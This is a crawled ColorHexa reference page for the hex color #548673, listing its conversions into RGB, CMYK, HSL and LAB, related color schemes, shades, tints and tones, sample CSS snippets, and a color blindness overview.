https://www.colorhexa.com/548673	[ "# #548673 Color Information\n\nIn a RGB color space, hex #548673 is composed of 32.9% red, 52.5% green and 45.1% blue. Whereas in a CMYK color space, it is composed of 37.3% cyan, 0% magenta, 14.2% yellow and 47.5% black. It has a hue angle of 157.2 degrees, a saturation of 22.9% and a lightness of 42.7%. #548673 color hex could be obtained by blending #a8ffe6 with #000d00. Closest websafe color is: #669966.\n\n• R 33\n• G 53\n• B 45\nRGB color chart\n• C 37\n• M 0\n• Y 14\n• K 47\nCMYK color chart\n\n#548673 color description : Mostly desaturated dark cyan - lime green.\n\n# #548673 Color Conversion\n\nThe hexadecimal color #548673 has RGB values of R:84, G:134, B:115 and CMYK values of C:0.37, M:0, Y:0.14, K:0.47. Its decimal value is 5539443.\n\nHex triplet RGB Decimal 548673 `#548673` 84, 134, 115 `rgb(84,134,115)` 32.9, 52.5, 45.1 `rgb(32.9%,52.5%,45.1%)` 37, 0, 14, 47 157.2°, 22.9, 42.7 `hsl(157.2,22.9%,42.7%)` 157.2°, 37.3, 52.5 669966 `#669966`\nCIE-LAB 52.031, -21.396, 4.933 15.275, 20.172, 19.307 0.279, 0.368, 20.172 52.031, 21.958, 167.016 52.031, -23.84, 10.005 44.913, -17.891, 5.952 01010100, 10000110, 01110011\n\n# Color Schemes with #548673\n\n• #548673\n``#548673` `rgb(84,134,115)``\n• #865467\n``#865467` `rgb(134,84,103)``\nComplementary Color\n• #54865a\n``#54865a` `rgb(84,134,90)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #548086\n``#548086` `rgb(84,128,134)``\nAnalogous Color\n• #865a54\n``#865a54` `rgb(134,90,84)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #865480\n``#865480` `rgb(134,84,128)``\nSplit Complementary Color\n• #867354\n``#867354` `rgb(134,115,84)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #735486\n``#735486` `rgb(115,84,134)``\n• #678654\n``#678654` `rgb(103,134,84)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #735486\n``#735486` `rgb(115,84,134)``\n• #865467\n``#865467` `rgb(134,84,103)``\n• #37574b\n``#37574b` `rgb(55,87,75)``\n• #406758\n``#406758` `rgb(64,103,88)``\n• #4a7666\n``#4a7666` `rgb(74,118,102)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #5e9680\n``#5e9680` `rgb(94,150,128)``\n• #6ba28d\n``#6ba28d` `rgb(107,162,141)``\n• #7bac99\n``#7bac99` `rgb(123,172,153)``\nMonochromatic Color\n\n# Alternatives to #548673\n\nBelow, you can see some colors close to #548673. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #548667\n``#548667` `rgb(84,134,103)``\n• #54866b\n``#54866b` `rgb(84,134,107)``\n• #54866f\n``#54866f` `rgb(84,134,111)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #548677\n``#548677` `rgb(84,134,119)``\n• #54867b\n``#54867b` `rgb(84,134,123)``\n• #548680\n``#548680` `rgb(84,134,128)``\nSimilar Colors\n\n# #548673 Preview\n\nThis text has a font color of #548673.\n\n``<span style=\"color:#548673;\">Text here</span>``\n#548673 background color\n\nThis paragraph has a background color of #548673.\n\n``<p style=\"background-color:#548673;\">Content here</p>``\n#548673 border color\n\nThis element has a border color of #548673.\n\n``<div style=\"border:1px solid #548673;\">Content here</div>``\nCSS codes\n``.text {color:#548673;}``\n``.background {background-color:#548673;}``\n``.border {border:1px solid #548673;}``\n\n# Shades and Tints of #548673\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #010101 is the darkest color, while #f4f8f7 is the lightest one.\n\n• #010101\n``#010101` `rgb(1,1,1)``\n• #080d0c\n``#080d0c` `rgb(8,13,12)``\n• #101916\n``#101916` `rgb(16,25,22)``\n• #182620\n``#182620` `rgb(24,38,32)``\n• #1f322b\n``#1f322b` `rgb(31,50,43)``\n• #273e35\n``#273e35` `rgb(39,62,53)``\n• #2e4a3f\n``#2e4a3f` `rgb(46,74,63)``\n• #36564a\n``#36564a` `rgb(54,86,74)``\n• #3d6254\n``#3d6254` `rgb(61,98,84)``\n• #456e5e\n``#456e5e` `rgb(69,110,94)``\n• #4c7a69\n``#4c7a69` `rgb(76,122,105)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #5c927d\n``#5c927d` `rgb(92,146,125)``\n• #649e88\n``#649e88` `rgb(100,158,136)``\n• #70a591\n``#70a591` `rgb(112,165,145)``\n``#7cad9a` `rgb(124,173,154)``\n• #88b4a3\n``#88b4a3` `rgb(136,180,163)``\n``#94bcad` `rgb(148,188,173)``\n• #a0c3b6\n``#a0c3b6` `rgb(160,195,182)``\n• #accbbf\n``#accbbf` `rgb(172,203,191)``\n• #b8d3c8\n``#b8d3c8` `rgb(184,211,200)``\n``#c4dad2` `rgb(196,218,210)``\n• #d0e2db\n``#d0e2db` `rgb(208,226,219)``\n• #dce9e4\n``#dce9e4` `rgb(220,233,228)``\n• #e8f1ee\n``#e8f1ee` `rgb(232,241,238)``\n• #f4f8f7\n``#f4f8f7` `rgb(244,248,247)``\nTint Color Variation\n\n# Tones of #548673\n\nA tone is produced by adding gray to any pure hue. In this case, #65756f is the less saturated color, while #00da87 is the most saturated one.\n\n• #65756f\n``#65756f` `rgb(101,117,111)``\n• #5c7e71\n``#5c7e71` `rgb(92,126,113)``\n• #548673\n``#548673` `rgb(84,134,115)``\n• #4c8e75\n``#4c8e75` `rgb(76,142,117)``\n• #439777\n``#439777` `rgb(67,151,119)``\n• #3b9f79\n``#3b9f79` `rgb(59,159,121)``\n• #32a87b\n``#32a87b` `rgb(50,168,123)``\n• #2ab07d\n``#2ab07d` `rgb(42,176,125)``\n• #22b87f\n``#22b87f` `rgb(34,184,127)``\n• #19c181\n``#19c181` `rgb(25,193,129)``\n• #11c983\n``#11c983` `rgb(17,201,131)``\n• #09d185\n``#09d185` `rgb(9,209,133)``\n• #00da87\n``#00da87` `rgb(0,218,135)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #548673 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5440657,"math_prob":0.64019626,"size":3739,"snap":"2021-31-2021-39","text_gpt3_token_len":1638,"char_repetition_ratio":0.11941098,"word_repetition_ratio":0.011009174,"special_character_ratio":0.5744852,"punctuation_ratio":0.2370452,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99330974,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-23T21:34:24Z\",\"WARC-Record-ID\":\"<urn:uuid:af37ce9d-d5d6-46e9-af97-4326febb88ae>\",\"Content-Length\":\"36227\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3e7ce12e-105d-424f-9615-55c2abdd7cbd>\",\"WARC-Concurrent-To\":\"<urn:uuid:d0d24a21-494d-45b1-abec-144caad444b3>\",\"WARC-IP-Address\":\"178.32.117.56\",\"WARC-Target-URI\":\"https://www.colorhexa.com/548673\",\"WARC-Payload-Digest\":\"sha1:ASP7DBJP2GKO2CK6YPL5IZLFFXFM2UFI\",\"WARC-Block-Digest\":\"sha1:3VE45NJ4YEWMGUDIWYMV2OCMJ25JM6P5\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780057447.52_warc_CC-MAIN-20210923195546-20210923225546-00195.warc.gz\"}"}